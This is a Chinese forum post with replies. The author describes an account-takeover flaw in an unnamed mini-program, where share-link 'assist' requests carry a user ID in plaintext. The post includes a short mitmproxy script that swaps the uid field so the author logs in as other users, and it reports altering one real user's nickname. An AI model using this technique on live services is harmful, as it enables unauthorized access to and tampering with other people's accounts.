某小程序通过助力链接盗号

418

又是上一个小程序，开发出来挨打（不是）

是盗小程序的账号，不是微信号~

助力玩法如下

[url=]image-20241104134623869.png[/url]

转发到群里，别人点进去就算助力成功

[url=]image-20241104134709385.png[/url]

浅浅抓个包，发现助力的jid(用户凭证)明文传输
[url=]image-20241104123656763.png[/url]

于是用mitmproxy写了个脚本

from mitmproxy import http
from multy_account.account import uid_list

def request(flow: http.HTTPFlow) -> None:
    # pretty_host takes the "Host" header of the request into account,
    # which is useful in transparent mode where we usually only have the IP
    # otherwise.
    if flow.request.pretty_host == "xxx.xxxxxx.com":
        print(flow.request.url)
        # print(flow.request.urlencoded_form['uid'])
        if flow.request.urlencoded_form['uid']:
            flow.request.urlencoded_form['uid'] = uid_list[2]

再次刷新小程序，成功获取到别人的账号

随机修改一位幸运观众的昵称 :D
javascript:;

慕浟佳〃井少年

外包开发的吧或者是不注重安全的小公司

qqpoly

很多小程序都在这个水准上，问题是有时候，逼迫你必须处理，比如娃娃上学有关的，你工作相关的

sharees

看不懂就问，这是干什么用的

snowcatflyer

qqpoly 发表于 2024-11-5 08:06
很多小程序都在这个水准上，问题是有时候，逼迫你必须处理，比如娃娃上学有关的，你工作相关的

环境换经济基本进入尾声，yinsi换经济正当时，大环境如此，非常难规范

AGLJX0651

看不懂就问，这是干什么用的

YSYM1003

看不懂就问，这是干什么用的

Ly1988

看不懂就问，这是干什么用的

soyadokio

这世界本就是个草台班子

wd12826

看不懂就问，这是干什么用的

ok748521

坑人的东西太多太多太多了

gggod

这属于越权吧，没有鉴权呀直接uid登陆了吗

lauded

感谢楼主分享